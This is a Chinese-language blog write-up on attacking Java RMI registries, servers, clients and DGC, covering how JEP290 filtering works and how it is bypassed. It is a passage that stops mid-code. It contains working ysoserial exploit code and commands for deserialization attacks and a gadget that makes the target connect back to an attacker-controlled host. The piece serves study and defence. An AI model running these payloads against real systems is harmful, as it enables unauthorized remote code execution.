一文回顧攻擊Java RMI方式
前序
RMI存在著三個主體
- RMI Registry
- RMI Client
- RMI Server
而對于這三個主體其實都可以攻擊,當然了需要根據jdk版本以及環境尋找對應的利用方式。
Ps.在最初接觸的RMI洞是拿著工具一把梭,因此在以前看來筆者以為RMI是一個服務,暴露出端口后就可以隨意攻擊,現在看來是我才疏學淺了,對于RMI的理解過于片面了。本文是筆者在學習RMI的各種攻擊方式后的小結,若有錯誤,請指出。
Ps1.本文并無任何新知識點,僅僅是對于各位師傅文章的一個小總結。
RMI為何
關于RMI可以閱讀:https://blog.csdn.net/lmy86263/article/details/72594760
RMI全稱是Remote Method Invocation(遠程?法調?),目的是為了讓兩個隔離的java虛擬機,如虛擬機A能夠調用到虛擬機B中的對象,而且這些虛擬機可以不存在于同一臺主機上。
開頭處說到了RMI的三種主體,那么以一個簡單的Demo來理解RMI通信的流程。
RMI中主要的api大致有:
- java.rmi:提供客戶端需要的類、接口和異常;
- java.rmi.server:提供服務端需要的類、接口和異常;
- java.rmi.registry:提供注冊表的創建以及查找和命名遠程對象的類、接口和異常;
首先就服務端而言,需要提供遠程對象給與客戶端遠程調用,所謂遠程對象即實現java.rmi.Remote接口的類或者繼承了java.rmi.Remote接口的所有接口的遠程對象。
例如遠程接口如下:
package com.hhhm.rmi;
import java.rmi.Remote;import java.rmi.RemoteException;
public interface HelloRImpl extends Remote { String hello() throws RemoteException; String test() throws RemoteException;}
需要有一個實現該接口的類:
package com.hhhm.rmi;
import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;
public class HelloR extends UnicastRemoteObject implements HelloRImpl{ protected HelloR() throws RemoteException { }
@Override public String hello() throws RemoteException { System.out.println("hello world"); return "hello"; }
@Override public String test() throws RemoteException { System.out.println("just test"); return "test"; }}
首先有幾個關鍵點:
- 實現方法必須拋出RemoteException異常
- 實現類需要同時繼承UnicastRemoteObject類
- 只有在接口中聲明的方法才能被調用到
那么首先需要開啟一個RMI Registry,開啟方式也很簡單,在$JAVA_HOME/bin/下有一個rmiregistry,因此我們可以直接利用它來開啟一個Registry。
rmiregistry 1099
Tips:rmiregistry需要運行在項目的target/classes目錄下,否則server端會爆出:
java.lang.ClassNotFoundException: com.hhhm.rmi.HelloR
當然了也可以直接使用代碼來實現一個registry:
LocateRegistry.createRegistry(1099);
就服務端而言其實現的關鍵在于Naming這個類,利用bind方法將對象綁定一個名,為了方便我直接將Server和Registry放到一起:
package com.hhhm.rmi;
import org.junit.Test;import java.rmi.Naming;import java.rmi.registry.LocateRegistry;
public class HelloRmiServer {
public static void main(String[] args) { HelloR helloR = null; try{ LocateRegistry.createRegistry(1099); helloR = new HelloRImpl(); Naming.bind("rmi://127.0.0.1:1099/hell",helloR); //Naming.bind("rmi://127.0.0.1:1099/hello",helloR); }catch (Exception e) { e.printStackTrace(); } }}
默認地會去綁定到localhost的1099端口,也可以指定綁定的ip、端口。
客戶端的操作可變性就很多了,同樣是通過Naming類中提供的方法來操作,有如下幾種方法:
- lookup
- list
- bind
- rebind
- unbind
此處就存在有如利用unbind去解綁掉注冊對象,利用bind綁定到惡意端達成攻擊,此處暫且不提,回到主線,客戶端同樣是幾行代碼搞定:
package com.hhhm.rmi;
import org.junit.Test;
import java.rmi.Naming;
public class HelloRmiClient {
@Test public void run() throws Exception{ String[] clazz = Naming.list("rmi://127.0.0.1:1099"); for (String s:clazz) { System.out.println(s); } }}//opt://127.0.0.1:1099/hell
探測RMI服務接口
在未知接口的情況下,除了使用list之外,還有其他方式能夠獲取到更詳細的接口信息,其中有一個工具有做到了這一個效果:https://github.com/NickstaDB/BaRMIe
其效果大致如下:

而實際上nmap中也實現了這一功能:

其原理在:https://xz.aliyun.com/t/7930#toc-3,從文章摘抄出來總結:
- LocateRegistry.getRegistry獲取目標IP端口的RMI注冊端
- reg.list()獲取注冊端上所有服務端的Endpoint對象
- 使用reg.unbind(unbindName);解綁一個不存在的RMI服務名,根據報錯信息來判斷我們當前IP是否可以操控該RMI注冊端(如果可以操控,意味著我們可以解綁任意已經存在RMI服務,但是這只是破壞,沒有太大的意義,就算bind一個惡意的服務上去,調用它,也是在我們自己的機器上運行而不是RMI服務端)
- 本地起一個代理用的RMI注冊端,用于轉發我們對于目標RMI注冊端的請求(在RaRMIe中,通過這層代理用注冊端可以變量成payload啥的,算是一層封裝;在這里用于接受原始回應數據,再進行解析)
- 通過代理服務器reg.lookup(objectNames[i]);遍歷之前獲取的所有服務端的Endpoint。
- 通過代理服務器得到lookup返回的源數據,自行解析獲取對應對象相應的類細節。(因為直接讓他自動解析是不會有響應的類信息的)
而其攻擊的方式也就是根據返回的classname判斷是否存在已知組件的危險服務,然后對其嘗試進行攻擊,所以顯得這個漏洞有些沒有營養,那么再看看其他攻擊方式。
已知接口調用方式下進行攻擊
其實也屬于比較雞肋的漏洞,因為在已知接口的調用方式這種情況確實比較少見,所謂已知接口的調用方式即指的是例如我們上面通過探測端口可知訪問該接口的方式為:
rmi://127.0.0.1:1099/hell
同時類名為HelloR,但我們在沒有服務端源碼的情況下是不清楚HelloR接口下有哪些方法可以被調用,當然了這些方法的參數類型更是無從得知,不過在已知接口調用方式的情況下確實是可以利用這一方式達成攻擊的。
此種需要分開為兩種情況:
- 參數為Object類
- 參數非Object類
詳細參考:https://xz.aliyun.com/t/7930#toc-6
其一是為何在傳輸Object類的參數時都會在服務端反序列化,其關鍵代碼位于:
sun.rmi.server.UnicastServerRef#dispatch(Jdku66):

其中var4是用于校驗客戶端調用的方法是否與服務端存在的一致,否則會爆出:
unrecognized method hash: method not supported by remote object
var4暫且不提,服務端對于Object類型參數反序列化的點位于unmarshalValue函數內:
protected static Object unmarshalValue(Class var0, ObjectInput var1) throws IOException, ClassNotFoundException { if (var0.isPrimitive()) { if (var0 == Integer.TYPE) { return var1.readInt(); } else if (var0 == Boolean.TYPE) { return var1.readBoolean(); } else if (var0 == Byte.TYPE) { return var1.readByte(); } else if (var0 == Character.TYPE) { return var1.readChar(); } else if (var0 == Short.TYPE) { return var1.readShort(); } else if (var0 == Long.TYPE) { return var1.readLong(); } else if (var0 == Float.TYPE) { return var1.readFloat(); } else if (var0 == Double.TYPE) { return var1.readDouble(); } else { throw new Error("Unrecognized primitive type: " + var0); } } else { return var1.readObject(); } }
易知在參數不是基本數據類型時會進入到else,從而進入到readObject做反序列化操作。
因此打object類型的方法很簡單,直接用yso生成object對象,調用即可,例如上文講到的的HelloR類新增一個參數為object類的方法
void helloObject(Object payload) throws RemoteException;
通過lookup調用方法然后把payload傳遞過去即可
package com.hhhm.rmi;
import ysoserial.payloads.ObjectPayload;
import java.rmi.Naming;
public class AttackInterTypeofObject { public static void main(String[] args) { String payloadType = "CommonsCollections7"; String payloadArg = "open /System/Applications/Calculator.app"; Object payloadObject = ObjectPayload.Utils.makePayloadObject(payloadType, payloadArg); HelloR helloR = null; try{ helloR = (HelloR) Naming.lookup("rmi://127.0.0.1:1099/hell"); helloR.helloObject(payloadObject); }catch (Exception e){ e.printStackTrace(); }
}}
其二是繞過Object類型參數的方式比較有趣,重點在于繞過method hash。
上面說到了,在Client端直接修改參數為Object時會爆出unrecognized method hash的錯誤,而在使用wireshark是可以直接抓到這一個method hash,這意味著method hash的值是我們可控的,也就是說我們完全可以通過修改客戶端來實現攻擊的利用,在:https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290/ 一文中對此也做出了總結:
- 將 java.rmi 包的代碼復制到一個新的包中,并在那里更改代碼
- 將調試器附加到正在運行的客戶端并在對象序列化之前替換它們
- 使用Javassist 之類的工具更改字節碼
- 通過實現代理替換網絡流上已經序列化的對象
上文提到的工具BaRMIe采用第四點也就是代理替換序列化對象,而在attacking-java-rmi-services-after-jep-290中使用的方法是hook掉 java.rmi.server.RemoteObjectInvocationHandler 類中的invokeRemoteMethod,正對應的第二個方法,在序列化前替換掉,至于選擇這一個方法的原因是正如改函數名一般,這一個方法負責調用服務器上的方法。
java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod
private Object invokeRemoteMethod(Object proxy, Method method, Object[] args) throws Exception { try { if (!(proxy instanceof Remote)) { throw new IllegalArgumentException( "proxy not Remote instance"); } return ref.invoke((Remote) proxy, method, args, getMethodHash(method)); } catch (Exception e) { if (!(e instanceof RuntimeException)) { Class cl = proxy.getClass(); try { method = cl.getMethod(method.getName(), method.getParameterTypes()); } catch (NoSuchMethodException nsme) { throw (IllegalArgumentException) new IllegalArgumentException().initCause(nsme); } Class thrownType = e.getClass(); for (Class declaredType : method.getExceptionTypes()) { if (declaredType.isAssignableFrom(thrownType)) { throw e; } } e = new UnexpectedException("unexpected exception", e); } throw e; } }
該函數的第三個參數允許接受對象數組,并且這第三個參數正是我們調用的接口的方法參數。
對此afanti師傅寫了一個rasp來hook住函數,并且將其第三個參數修改為URLDNS的gadget
https://github.com/Afant1/RemoteObjectInvocationHandler
1、mvn package 打好jar包
2、運行RmiServer
3、運行RmiClient前,VM options參數填寫:-javaagent:C:\Users\xxx\InvokeRemoteMethod\target\rasp-1.0-SNAPSHOT.jar
4、最終會hook住RemoteObjectInvocationHandler函數,修改第三個參數為URLDNS gadget
Attack RMI Registry via bind\lookup\others
這一攻擊在yso中已有實現,我們可以在項目中配置一個CommonsCollections3.1,然后啟動一個RMI Registry,接下來運行:
java -cp yso.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections7 "open /System/Applications/Calculator.app"
能夠看到計算器成功的彈出了,那么觀察一下yso中的RMIRegistryExploit能夠看到實際上也就是將我們的gadget使用代理Remote類的方式然后通過bind往Registry發,那么實際上在jdk8u121以前都可以這么玩,那么對此展開分析。
先提出結論:
在jdk<8u121的情況下,可以利用lookup,bind,unbind,rebind將gadget采用代理Remote類的方式發送給Registry,Registry接受后會進行反序列化操作。
下面的分析建立在JDKu66的環境下,首先說明兩個skel和stub的關系,RegistryImpl_Skel對應的是服務端,而RegistryImpl_Stub對應的是客戶端,而我們的漏洞點也脫不開這兩個類。
其實在嘗試操作Registry時會經過sun.rmi.server.UnicastServerRef#dispatch,不過因為觸發漏洞的類RegistryImpl_Skel貌似無法調試,所以就懟著源碼看吧,其實漏洞產生的原因還是挺簡單的,位于:
sun.rmi.registry.RegistryImpl_Skel#dispatch:
publc void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != 4905912898345647071L) { //根據報錯可知var4是用于接口的hash校驗 throw new SkeletonMismatchException("interface hash mismatch"); } else { RegistryImpl var6 = (RegistryImpl)var1; String var7; Remote var8; ObjectInput var10; ObjectInput var11; //var3的值從0-4,分別對應5種行為 switch(var3) { case 0: //0->bind var11 = var2.getInputStream(); var7 = (String)var11.readObject(); var8 = (Remote)var11.readObject(); var6.bind(var7, var8); var2.getResultStream(true); break; case 1: //1->list var2.releaseInputStream(); String[] var97 = var6.list(); ObjectOutput var98 = var2.getResultStream(true); var98.writeObject(var97); break; case 2: //2->lookup var10 = var2.getInputStream(); var7 = (String)var10.readObject(); var2.releaseInputStream(); var8 = var6.lookup(var7); ObjectOutput var9 = var2.getResultStream(true); var9.writeObject(var8); break; case 3: //3->rebind var11 = var2.getInputStream(); var7 = (String)var11.readObject(); var8 = (Remote)var11.readObject(); var2.releaseInputStream(); var6.rebind(var7, var8); var2.getResultStream(true); break; case 4: //4->unbind var10 = var2.getInputStream(); var7 = (String)var10.readObject(); var2.releaseInputStream(); var6.unbind(var7); var2.getResultStream(true); break; default: throw new UnmarshalException("invalid method number"); }
} }
簡化了部分代碼,然后再來簡單梳理一下這段代碼:
在經過hash校驗后會進入到幾個case的判斷,其中都是對應的var3的取值,從0-4分別是bind,list,lookup,rebind,unbind,而這其中的調用值是與客戶端約定的。
其中在sun.rmi.registry.RegistryImpl_Stub#bind中可以看到有對應的賦值:
super.ref.newCall(this, operations, 0, 4905912898345647071L);
所以也驗證了0也就是對應的bind。
而反序列化的觸發點在于如下:
case 0: //0->bind var11 = var2.getInputStream(); var7 = (String)var11.readObject(); var8 = (Remote)var11.readObject(); var6.bind(var7, var8); var2.getResultStream(true); break;
這一個var2也就是上面提到的operations,一個Remote對象,那么我們將gadget代理為Remote對象后,通過這一傳輸過程即可達成反序列化的觸發。
同理在lookup,rebind,unbind中都有這一漏洞點,盡管Registry對于非本地請求的bind/unbind的行為都會做攔截的操作,但這一攔截的操作是位于bind函數內的,所以可謂是無效攔截。
那么我們可以嘗試自己實現一個Remote類并嘗試通過bind來發送給Registry來測試思路是否正確,yso中的思路實際上利用java反序列化會遞歸地反序列化類內屬性,因此其實就是將gadget塞到一個Remote類內的隨意一個屬性即可:
package com.hhhm.rmi;
import ysoserial.payloads.ObjectPayload;
import java.io.Serializable;import java.rmi.Remote;
public class RmiRegistryExploit implements Remote,Serializable { private Object payload;
public void setPayload(Object payload) { this.payload = payload; }}
攻擊端:
package com.hhhm.rmi;
import ysoserial.exploit.RMIRegistryExploit;import ysoserial.payloads.ObjectPayload;
import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;
public class AttackRegistry { public static void main(String[] args) throws Exception{ String payloadType = "CommonsCollections7"; String payloadArg = "open /System/Applications/Calculator.app"; Object payloadObject = ObjectPayload.Utils.makePayloadObject(payloadType, payloadArg); RmiRegistryExploit re = new RmiRegistryExploit(); re.setPayload(payloadObject); String name = "pwned" + System.nanoTime(); Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); registry.bind(name,re);
}}
同理地可以利用lookup,unbind等方法。
在jdk8u141后對于bind,rebind,unbind的請求都會先進行一次本地校驗,即只允許服務端發出,不過于lookup,list而言依舊沒有限制。
不過lookup的參數為字符串,在利用時比較麻煩,如何利用在后文講bypass JEP290時會提到。
Attack DGC
先介紹DGC。
分布式垃圾回收,又稱DGC,RMI使用DGC來做垃圾回收,因為跨虛擬機的情況下要做垃圾回收沒辦法使用原有的機制。我們使用的遠程對象只有在客戶端和服務端都不受引用時才會結束生命周期。
而既然RMI依賴于DGC做垃圾回收,那么在RMI服務中必然會有DGC層,在yso中攻擊DGC層對應的是JRMPClient,在攻擊RMI Registry小節中提到了skel和stub對應的Registry的服務端和客戶端,同樣的,DGC層中也會有skel和stub對應的代碼,也就是DGCImpl_Skel和DGCImpl_Stub,我們可以直接從此處分析,避免冗長的debug。
而客戶端一方在使用服務端的遠程引用時需要調用dirty來注冊,在用完時需要調用clean進行清除。
就觸發反序列化而言,其實跟前面提到的bind的代碼邏輯類似,DGCImpl_Skel#dispatch:
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception { //判斷接口的hash if (var4 != -669196253586618813L) { throw new SkeletonMismatchException("interface hash mismatch"); } else { DGCImpl var6 = (DGCImpl)var1; ObjID[] var7; long var8; switch(var3) { case 0: VMID var39; boolean var40; //獲取連接的輸入流 ObjectInput var14 = var2.getInputStream(); //反序列化 var7 = (ObjID[])var14.readObject(); var8 = var14.readLong(); var39 = (VMID)var14.readObject(); var40 = var14.readBoolean(); var2.releaseInputStream(); var6.clean(var7, var8, var39, var40); var2.getResultStream(true); break; } }}
省略了部分代碼,只截取了case 0也就是clean的操作,漏洞的觸發點也就是這里的readObject,在clean之前對我們傳的值做反序列化的操作,原理很簡單,主要是解決如何和DGC服務端通信的問題。
DGCImpl_Stub#clean:
public void clean(ObjID[] var1, long var2, VMID var4, boolean var5) throws RemoteException { //DGC連接 RemoteCall var6 = super.ref.newCall(this, operations, 0, -669196253586618813L); //獲取連接誒的輸出流 ObjectOutput var7 = var6.getOutputStream(); //序列化 var7.writeObject(var1); var7.writeLong(var2); var7.writeObject(var4); var7.writeBoolean(var5); super.ref.invoke(var6); super.ref.done(var6); }
同樣的省略部分代碼,可以看到ObjID[] var1做的序列化操作在DGCImpl_Skel#dispatch中會進行反序列化操作,那么只需要把var1替換為我們的payload即可達成利用,然而需要更改底層代碼這種繁雜的操作yso早已替我們實現——ysoserial.exploit.JRMPClient#main:
public static final void main ( final String[] args ) { if ( args.length < 4 ) { System.err.println(JRMPClient.class.getName() + " "); System.exit(-1); } Object payloadObject = Utils.makePayloadObject(args[2], args[3]); String hostname = args[ 0 ]; int port = Integer.parseInt(args[ 1 ]); try { System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port)); makeDGCCall(hostname, port, payloadObject); } catch ( Exception e ) { e.printStackTrace(System.err); } Utils.releasePayload(args[2], payloadObject); }
main函數沒什么東西,主要是接受命令行傳參然后調用makeDGCCall函數發起一個DGC通信,因此可以把重點放在makeDGCCall函數上:
public satic void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException { InetSocketAddress isa = new InetSocketAddress(hostname, port); Socket s = null; DataOutputStream dos = null; try { s = SocketFactory.getDefault().createSocket(hostname, port); s.setKeepAlive(true); s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream(); dos = new DataOutputStream(os); //傳輸協議 dos.writeInt(TransportConstants.Magic); dos.writeShort(TransportConstants.Version); dos.writeByte(TransportConstants.SingleOpProtocol); dos.write(TransportConstants.Call);
@SuppressWarnings ( "resource" ) final ObjectOutputStream objOut = new MarshalOutputStream(dos);
objOut.writeLong(2); // DGC objOut.writeInt(0); objOut.writeLong(0); objOut.writeShort(0);
objOut.writeInt(1); // dirty objOut.writeLong(-669196253586618813L);
objOut.writeObject(payloadObject);
os.flush(); } finally { if ( dos != null ) { dos.close(); } if ( s != null ) { s.close(); } } }
yso中通過直接用socket發包,首先是往socket寫入傳輸協議數據流,其頭部通常如下:
from https://docs.oracle.com/javase/9/docs/specs/rmi/protocol.html0x4a 0x52 0x4d 0x49 Version ProtocolVersion: 0x00 0x01Protocol: StreamProtocol 0x4b SingleOpProtocol 0x4c MultiplexProtocol 0x4dMessages: Message Messages Message Message: Call 0x50 CallData Ping 0x52 DgcAck 0x54 UniqueIdentifier
也就對應于sun.rmi.transport.TransportConstants中定義的內容了:
public class TransportConstants { public static final int Magic = 1246907721; //0x4a 0x52 0x4d 0x49 public static final short Version = 2; public static final byte StreamProtocol = 75; public static final byte SingleOpProtocol = 76; public static final byte MultiplexProtocol = 77; public static final byte ProtocolAck = 78; public static final byte ProtocolNack = 79; public static final byte Call = 80; public static final byte Return = 81; public static final byte Ping = 82; public static final byte PingAck = 83; public static final byte DGCAck = 84; public static final byte NormalReturn = 1; public static final byte ExceptionalReturn = 2;
public TransportConstants() { }}
不難理解此處寫入TransportConstants.Call也就是對應到代碼里的super.ref.newCall了。比較不理解的是:
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
在寫入DGC之前為何用MarshalOutputStream將數據流包裹起來?
跟了一下發現在UnicastServerRef中用到了MarshalInputStream,好吧,破案了,其實就是把jdk自帶的MarshalOutputStream拷貝過去,不過yso中的MarshalOutputStream與jdk自帶的略有不同,有師傅講到了這一點:https://blog.sometimenaive.com/2020/09/02/attack-rmi-registry-and-server-with-socket/
剛開始用jdk自帶的sun.server.rmi.MarshalOutputStream 沒有問題,但是傳UnicastRefRemoteObject 對象的時候,發現死活傳不過去,后來發現jdk自帶的sun.server.rmi.marshalOutputStream 會進行replaceObject,后來就直接換成了ysoserial中的MarshalOutputStream 這樣就沒啥問題了。
余下寫入的序列化內容就是DGC的固定格式,然后走入dirty分支,傳入接口的hash值,最后將payload寫入。
在jdk6u141, 7u131, 8u121之后,出現了JEP290規范之后,無論是DGC還是前面提到的bind等方法去攻擊Registry的方式都失效了。
JEP290
官方將本屬于JDK9的特性進行了向下兼容,于是在jdk6,7,8中也出現了這一特性,分別對應于jdk6u141, 7u131, 8u121之后的版本。
JEP290是為了過濾傳入的序列化數據而產生的規范,開發者可通過配置自定義過濾器,全局過濾器或者使用內置過濾器來對傳入的序列化數據做過濾。
其中在RMIRegistryImpl中采用了白名單機制來限制類:

他會去遞歸檢查我們傳入的序列化數據,因此盡管我們傳入的是Remote對象,但最終還是會把我們的payload對象攔截下來導致前面提到的通過bind攻擊的方式失效。
關于JEP290更多詳細可以看:https://www.cnpanda.net/sec/968.html 和 https://paper.seebug.org/1689/
下面的環境建立的JDKu181,再次啟動RMI Registry后用yso中的ysoserial.exploit.RMIRegistryExploit打會發現爆出了這樣的錯誤:

這樣就是上面提到的JEP290中的過濾器,DGC的攻擊方式也繞不開這一個過濾器。
白名單如下:
java.rmi.Remotejava.lang.Numberjava.lang.reflect.Proxyjava.rmi.server.UnicastRefjava.rmi.activation.ActivationIdjava.rmi.server.UIDjava.rmi.server.RMIClientSocketFactoryjava.rmi.server.RMIServerSocketFactory
JRMP服務端打客戶端
在bypass JEP290之前先了解一下通過服務端打客戶端,盡管看起來有點扯,不過事實確實如此,JRMP客戶端也同樣可以被服務端打。
直接用yso的模塊起一個服務端:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1199 CommonsCollections7 "open /System/Applications/Calculator.app
客戶端代碼就兩行:
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1199);registry.lookup("hell");
運行了你馬上就彈計算器。既然打客戶端那自然是在RegistryImpl_Stub下斷點,因為是調用lookup,于是在lookup處斷點:
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException { RemoteCall var2 = this.ref.newCall(this, operations, 2, 4905912898345647071L); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(var1); this.ref.invoke(var2); Remote var22; ObjectInput var4 = var2.getInputStream(); var22 = (Remote)var4.readObject(); this.ref.done(var2);}
tips:這里調試時可能會因為rmi連接斷開從而導致觸發不了payload,因此最好直接用步過來調試。
跟入this.ref.newCall會發現這個ref類實際上是UnicastRef類,不過漏洞的觸發點不在這,往后跟,會發現漏洞的觸發點于UnicastRef#invoke觸發,再往里跟sun.rmi.transport.StreamRemoteCall#executeCall:
public void executeCall() throws Exception { DGCAckHandler var2 = null; byte var1; this.releaseOutputStream(); DataInputStream var3 = new DataInputStream(this.conn.getInputStream()); byte var4 = var3.readByte(); if (var4 != 81) { if (Transport.transportLog.isLoggable(Log.BRIEF)) { Transport.transportLog.log(Log.BRIEF, "transport return code invalid: " + var4); } this.getInputStream(); var1 = this.in.readByte(); this.in.readID();
var2.release();
switch(var1) { case 1: return; case 2: Object var14; //漏洞點 var14 = this.in.readObject(); } }}
會發現漏洞點在case 2這里,實際上是TransportConstants.ExceptionalReturn,對應的代碼也可以在ysoserial.exploit.JRMPListener中看到寫入:
oos.writeByte(TransportConstants.ExceptionalReturn);
而之后的this.in.readObject()就是我們反序列化的漏洞點了,代碼運行到這計算器也就彈出來了,而lookup的打法也因為不受jdk8u141的本地限制而在高版本JDK中被廣泛利用到。
可能有讀者疑惑為什么要用服務端打客戶端,除了反制的情況之外還能怎么用?實際上這就是下面要講的JRMP bypass JEP290的利用方式:
通過反序列化時進行一次rmi連接,配合lookup不受本地連接的限制連接我們的JRMPServer從而實現bypass JEP290。
當然大前提是可以進行反序列化,我們卡在JEP290的一個很重要的點也是因為沒辦法反序列化我們的payload。
JDK<8u141 bypass JEP290 via bind
JRMP實際上就是一個協議,同http一般基于tcp/ip之上的協議,RMI的過程就是利用JRMP協議去進行通信,在JDKu121之后,也就是JEP290出現之后,RMI的主要利用方式就轉移到了JRMP協議的利用上。
bypass方式其實是找到JEP290中rmi過濾器的白名單類中的類來bypass實現反序列化,來看看yso中JRMPClient(payload):
* UnicastRef.newCall(RemoteObject, Operation[], int, long) * DGCImpl_Stub.dirty(ObjID[], long, Lease) * DGCClient$EndpointEntry.makeDirtyCall(Set, long) * DGCClient$EndpointEntry.registerRefs(List) * DGCClient.registerRefs(Endpoint, List) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput)
tips:此處的readExternal同樣可以作為反序列化的入口,在調用readObject時會調用到它。
直接在UnicastRef#readExternal斷個點:

然而在將反序列化過程跟完后會發現payload仍沒有執行,實際上反序列化過程也就是readObject處只是做了ref的裝載,執行了兩步:
* LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput)
真正進行rmi連接實際上是位于sun.rmi.registry.RegistryImpl_Skel#dispatch的releaseInputStream:

在sun.rmi.transport.ConnectionInputStream#registerRefs處執行registerRefs,而incomingRefTable實際上就是在前面反序列化時將ref填充入的一個table:
void registerRefs() throws IOException { if (!this.incomingRefTable.isEmpty()) { Iterator var1 = this.incomingRefTable.entrySet().iterator();
while(var1.hasNext()) { Entry var2 = (Entry)var1.next(); //在DGC注冊ref DGCClient.registerRefs((Endpoint)var2.getKey(), (List)var2.getValue()); } }
}
一路調用最終到sun.rmi.transport.DGCImpl_Stub#dirty:
public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException { RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L); ObjectOutput var6 = var5.getOutputStream(); var6.writeObject(var1); var6.writeLong(var2); var6.writeObject(var4); //漏洞觸發點 super.ref.invoke(var5); Lease var24; ObjectInput var9 = var5.getInputStream(); var24 = (Lease)var9.readObject(); super.ref.done(var5); }
在ref.invoke debug時F8會發現計算器彈出來了,也就是說此處是漏洞觸發點,這里就做發起rmi連接,觸發JRMP服務端打客戶端的方式。
看到這,其實會發現就是利用前面的bind打RMI Registry,不過將直接打RMI Registry的過程轉成了讓目標發出RMI連接我們的服務端,所以利用方式其實就是將yso中payload的JRMPClient套到Remote類中,通過bind發送給目標。
Tips:受限于bind在8u141之后無法遠程連接。
JDK<8u232 bypass JEP290 via lookup
我們可以看到lookup雖然傳遞的是字符串類型,但在寫入的時候調用的是writeObject,因此我們是否可以通過重載lookup的方式來將參數改為Object類型(其實ysomap就是如此實現的)。
直接摘取ysomap的代碼:
public static Remote lookup(Registry registry, Object obj) throws Exception { RemoteRef ref = (RemoteRef) ReflectionHelper.getFieldValue(registry, "ref"); long interfaceHash = (long) ReflectionHelper.getFieldValue(registry, "interfaceHash"); java.rmi.server.Operation[] operations = (Operation[]) ReflectionHelper.getFieldValue(registry, "operations"); java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject) registry, operations, 2, interfaceHash); try { try { java.io.ObjectOutput out = call.getOutputStream(); //反射修改enableReplace ReflectionHelper.setFieldValue(out, "enableReplace", false); out.writeObject(obj); // arm obj } catch (java.io.IOException e) { throw new java.rmi.MarshalException("error marshalling arguments", e); } ref.invoke(call); return null; } catch (RuntimeException | RemoteException | NotBoundException e) { if(e instanceof RemoteException| e instanceof ClassCastException){ Logger.success("exploit remote registry success!"); return null; }else{ throw e; } } catch (java.lang.Exception e) { throw new java.rmi.UnexpectedException("undeclared checked exception", e); } finally { ref.done(call); } }
基本上與RegistryImpl_Stub中的lookup一致,不同的就是需要先通過反射獲取到ref等屬性,加多了一個Registry類的參數以便于反射以及部分函數的調用。
JDK<8u241 bypass JEP290
來自:https://mogwailabs.de/en/blog/2020/02/an-trinhs-rmi-registry-bypass/
作者分享的鏈如下:
01: sun.rmi.server.UnicastRef.unmarshalValue()02: sun.rmi.transport.tcp.TCPChannel.newConnection()03: sun.rmi.server.UnicastRef.invoke()04: java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod()05: java.rmi.server.RemoteObjectInvocationHandler.invoke()06: com.sun.proxy.$Proxy111.createServerSocket()07: sun.rmi.transport.tcp.TCPEndpoint.newServerSocket()08: sun.rmi.transport.tcp.TCPTransport.listen()09: ...10: java.rmi.server.UnicastRemoteObject.reexport()11: java.rmi.server.UnicastRemoteObject.readObject()
這條鏈與JRMPClient(payload)鏈不同之處在與它并不是在releaseInputStream中觸發rmi連接,而是在readObject的過程就觸發了。
鏈就不跟了,主要看一下這一條鏈的精彩點,從sun.rmi.transport.tcp.TCPEndpoint#newServerSocket:
ServerSocket newServerSocket() throws IOException { if (TCPTransport.tcpLog.isLoggable(Log.VERBOSE)) { TCPTransport.tcpLog.log(Log.VERBOSE, "creating server socket on " + this); }
Object var1 = this.ssf; if (var1 == null) { var1 = chooseFactory(); }
ServerSocket var2 = ((RMIServerSocketFactory)var1).createServerSocket(this.listenPort); if (this.listenPort == 0) { setDefaultPort(var2.getLocalPort(), this.csf, this.ssf); }
return var2; }
因為動態代理的緣故,調用createServerSocket會進入到java.rmi.server.RemoteObjectInvocationHandler,攔截createServerSocket方法并調用invoke:
public Object invoke(Object proxy, Method method, Object[] args)throws Throwable{ ... //entry return invokeRemoteMethod(proxy, method, args);}private Object invokeRemoteMethod(Object proxy,Method method,Object[] args)throws Exception { try { if (!(proxy instanceof Remote)) { throw new IllegalArgumentException( "proxy not Remote instance"); } //entry return ref.invoke((Remote) proxy, method, args, getMethodHash(method)); ... }
接下來就是前面提到類似于sun.rmi.transport.DGCImpl_Stub#dirty的ref.invoke觸發連接了,只不過這次并沒有經過DGC層。
直接摘取作者提供的代碼:
public static UnicastRemoteObject getGadget(String host, int port) throws Exception { // 1. Create a new TCPEndpoint and UnicastRef instance. // The TCPEndpoint contains the IP/port of the attacker // Taken from Moritz Bechlers JRMP Client ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef refObject = new UnicastRef(new LiveRef(id, te, false));
// 2. Create a new instance of RemoteObjectInvocationHandler, // passing the RemoteRef object (refObject) with the attacker controlled IP/port in the constructor RemoteObjectInvocationHandler myInvocationHandler = new RemoteObjectInvocationHandler(refObject);
// 3. Create a dynamic proxy class that implements the classes/interfaces RMIServerSocketFactory // and Remote and passes all incoming calls to the invoke method of the // RemoteObjectInvocationHandler RMIServerSocketFactory handcraftedSSF = (RMIServerSocketFactory) Proxy.newProxyInstance( RMIServerSocketFactory.class.getClassLoader(), new Class[] { RMIServerSocketFactory.class, java.rmi.Remote.class }, myInvocationHandler);
